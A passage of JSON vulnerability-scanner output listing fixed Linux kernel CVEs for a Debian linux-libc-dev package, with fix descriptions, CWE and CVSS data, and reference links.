"https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:93b2f00dd827e251e8619f825f70d34bfec17ebf8e033872e2e83fd3571507ea", "Title": "kernel: wifi: mac80211: drop stray 'static' from fast-RX rx_result", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: drop stray 'static' from fast-RX rx_result\n\nieee80211_invoke_fast_rx() is documented as safe for parallel RX, but\nits per-invocation rx_result is declared static. Concurrent callers then\nshare one instance and can overwrite each other's result between\nieee80211_rx_mesh_data() and the switch on res.\n\nThat can make a packet that was queued or consumed by\nieee80211_rx_mesh_data() fall through into ieee80211_rx_8023(), or make\na packet that should continue return as queued.\n\nMake res an automatic variable so each invocation keeps its own result.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-1058" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26427", "https://access.redhat.com/errata/RHSA-2026:26428", "https://access.redhat.com/errata/RHSA-2026:27288", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:36767", "https://access.redhat.com/errata/RHSA-2026:38902", "https://access.redhat.com/errata/RHSA-2026:44694", "https://access.redhat.com/security/cve/CVE-2026-46152", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/7a5b81e0c87a075afd572f659d8eb68c9c4cd2ba%20%287.1-rc3%29", "https://git.kernel.org/stable/c/03584528bfffb195e384698af9148b94e42e3f14", "https://git.kernel.org/stable/c/1739fc31b4de06c5c78ce0741182770fb079091e", "https://git.kernel.org/stable/c/3ef44f96ccc3e06e059dec57842e366f0c4b1893", "https://git.kernel.org/stable/c/7a5b81e0c87a075afd572f659d8eb68c9c4cd2ba", "https://git.kernel.org/stable/c/e131562d6f2b958148c35c98831b007f47f0e3d3", "https://linux.oracle.com/cve/CVE-2026-46152.html", "https://linux.oracle.com/errata/ELSA-2026-27789.html", "https://lore.kernel.org/linux-cve-announce/2026052822-CVE-2026-46152-ec8a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46152", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46152.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46152" ], "PublishedDate": "2026-05-28T10:16:30.827Z", "LastModifiedDate": "2026-10-19T20:18:35.463Z" }, { "VulnerabilityID": "CVE-2026-46162", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46162", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:788a99fa926ed69328e438078468c2b4972895c5e89e9504950c0b04eb97637c", "Title": "kernel: ice: fix double free in ice_sf_eth_activate() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: fix double free in ice_sf_eth_activate() error path\n\nWhen auxiliary_device_add() fails, ice_sf_eth_activate() jumps to\naux_dev_uninit and calls auxiliary_device_uninit(\u0026sf_dev-\u003eadev).\n\nThe device release callback ice_sf_dev_release() frees sf_dev, but\nthe current error path falls through to sf_dev_free and calls\nkfree(sf_dev) again, causing a double free.\n\nKeep kfree(sf_dev) for the auxiliary_device_init() failure path, but\navoid falling through to sf_dev_free after auxiliary_device_uninit().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46162", "https://git.kernel.org/linus/9aab1c3d7299285e2569cbc0ed5892d631a241b2%20%287.1-rc1%29", "https://git.kernel.org/stable/c/121d1f253aed515cd85748f68c664a6cb756e8ad", "https://git.kernel.org/stable/c/2ca30340b5028ddc3f17086a538feeff06167b1b", "https://git.kernel.org/stable/c/9aab1c3d7299285e2569cbc0ed5892d631a241b2", "https://git.kernel.org/stable/c/d0c6a4816609f145ffcc74e64baa214c571c17c6", "https://lore.kernel.org/linux-cve-announce/2026052825-CVE-2026-46162-0ad2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46162", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46162" ], "PublishedDate": "2026-05-28T10:16:31.86Z", "LastModifiedDate": "2026-11-06T17:17:41.76Z" }, { "VulnerabilityID": "CVE-2026-46163", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46163", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:07111fe65d1701b3d604110618607fe02458ddc403d46ac1e4c3e4828c3f20a4", "Title": "kernel: wifi: b43legacy: enforce bounds check on firmware key index in RX path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: b43legacy: enforce bounds check on firmware key index in RX path\n\nSame fix as b43: the firmware-controlled key index in b43legacy_rx()\ncan exceed dev-\u003emax_nr_keys. The existing B43legacy_WARN_ON is\nnon-enforcing in production builds, allowing an out-of-bounds read of\ndev-\u003ekey[].\n\nMake the check enforcing by dropping the frame for invalid indices.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46163", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/a035766f970bde2d4298346a31a80685be5c0205%20%287.1-rc3%29", "https://git.kernel.org/stable/c/1baaeb6adecb9691748c0253dab6ddd19a2b4e9e", "https://git.kernel.org/stable/c/4242db36de99de734cc1f60e5edd86cda7e598c6", "https://git.kernel.org/stable/c/6ee946077607d7783ae6709a899213fc4fe08f35", "https://git.kernel.org/stable/c/9d1bc155802943e92c57a5fb923d23edfbf0b525", "https://git.kernel.org/stable/c/a035766f970bde2d4298346a31a80685be5c0205", "https://git.kernel.org/stable/c/a92bd0503df2488f2cc040f329ebccff1c1934cb", "https://git.kernel.org/stable/c/df805c1d085b7a96077f0964185764c87060950d", "https://git.kernel.org/stable/c/fdd4e51979f42ca8b1ab7e6176b607e1caabf2a5", "https://linux.oracle.com/cve/CVE-2026-46163.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026052825-CVE-2026-46163-171e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46163", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46163" ], "PublishedDate": "2026-05-28T10:16:31.95Z", "LastModifiedDate": "2026-10-15T02:19:47.423Z" }, { "VulnerabilityID": "CVE-2026-46166", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46166", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fd61681967ea045718eda0f687b0aabc43e42d79e565fe5a8af1864f0e0d8ea6", "Title": "kernel: wifi: mac80211: use safe list iteration in radar detect work", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: use safe list iteration in radar detect work\n\nThe call to ieee80211_dfs_cac_cancel can cause the iterated chanctx to\nbe freed and removed from the list. Guard against this to avoid a\nslab-use-after-free error.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27288", "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/security/cve/CVE-2026-46166", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/ac8eb3e18f41e2cc8492cc1d358bcb786c850270%20%287.1-rc3%29", "https://git.kernel.org/stable/c/120149fb3ebcf674832ca3cafd32bedcdb686dde", "https://git.kernel.org/stable/c/7577a4b8a10fab45a6ee2045ea038a5adadbb585", "https://git.kernel.org/stable/c/887ece6c23b49d02a6678e7a8d5ad213d75883ce", "https://git.kernel.org/stable/c/ac8eb3e18f41e2cc8492cc1d358bcb786c850270", "https://linux.oracle.com/cve/CVE-2026-46166.html", "https://linux.oracle.com/errata/ELSA-2026-27789.html", "https://lore.kernel.org/linux-cve-announce/2026052826-CVE-2026-46166-77a1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46166", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46166.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46166" ], "PublishedDate": "2026-05-28T10:16:32.25Z", "LastModifiedDate": "2026-10-19T20:18:35.913Z" }, { "VulnerabilityID": "CVE-2026-46174", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46174", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bfd6b7ed011df9dd71104dddbf544b8d061552c1825d8f7c384d1128d1b7579d", "Title": "kernel: x86/CPU/AMD: Prevent improper isolation of shared resources in Zen2's op cache", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/CPU/AMD: Prevent improper isolation of shared resources in Zen2's op cache\n\nMake sure resources are not improperly shared in the op cache and\ncause instruction corruption this way.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93413", "https://access.redhat.com/security/cve/CVE-2026-46174", "https://bugzilla.redhat.com/show_bug.cgi?id=2431602", "https://bugzilla.redhat.com/show_bug.cgi?id=2482549", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2513188", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535212", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89932", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93413", "https://git.kernel.org/linus/c21b90f77687075115d989e53a8ec5e2bb427ab1%20%287.1-rc4%29", "https://git.kernel.org/stable/c/1cd85a19748b2407830376a5cbae5c0f126016e5", "https://git.kernel.org/stable/c/1e23b30a80b14e5764657401ee2cca030525ae8e", "https://git.kernel.org/stable/c/251497955f2314cd39d43191e81c6151dead4c7b", "https://git.kernel.org/stable/c/28f5ed477eef166d678d6966762cbc1de9b4f436", "https://git.kernel.org/stable/c/9109489cc8c34e50d15575a3d1ff82af586bc1aa", "https://git.kernel.org/stable/c/c21b90f77687075115d989e53a8ec5e2bb427ab1", "https://git.kernel.org/stable/c/f5bc3aef7df46eaaf423d7413ab8833f704ae576", "https://git.kernel.org/stable/c/ff6fc65b3bf73acc5ee71919154d830ad5431362", "https://linux.oracle.com/cve/CVE-2026-46174.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026052828-CVE-2026-46174-e399@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46174", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7052.html", "https://www.cve.org/CVERecord?id=CVE-2026-46174" ], "PublishedDate": "2026-05-28T10:16:33.02Z", "LastModifiedDate": "2026-10-19T20:18:36.37Z" }, { "VulnerabilityID": "CVE-2026-46176", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46176", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0296c0fad6eb4cd981ae333eefc928428a4a9893e7c1ba1d5ed0dee529cb1bc1", "Title": "kernel: RDMA/mlx5: Fix error path fall-through in mlx5_ib_dev_res_srq_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx5: Fix error path fall-through in mlx5_ib_dev_res_srq_init()\n\nmlx5_ib_dev_res_srq_init() allocates two SRQs, s0 and s1. When\nib_create_srq() fails for s1, the error branch destroys s0 but falls\nthrough and unconditionally assigns the freed s0 and the ERR_PTR s1 to\ndevr-\u003es0 and devr-\u003es1.\n\nThis leads to several problems: the lock-free fast path checks\n\"if (devr-\u003es1) return 0;\" and treats the ERR_PTR as already initialised;\nusers in mlx5_ib_create_qp() dereference the freed SRQ or ERR_PTR via\nto_msrq(devr-\u003es0)-\u003emsrq.srqn; and mlx5_ib_dev_res_cleanup() dereferences\nthe ERR_PTR and double-frees s0 on 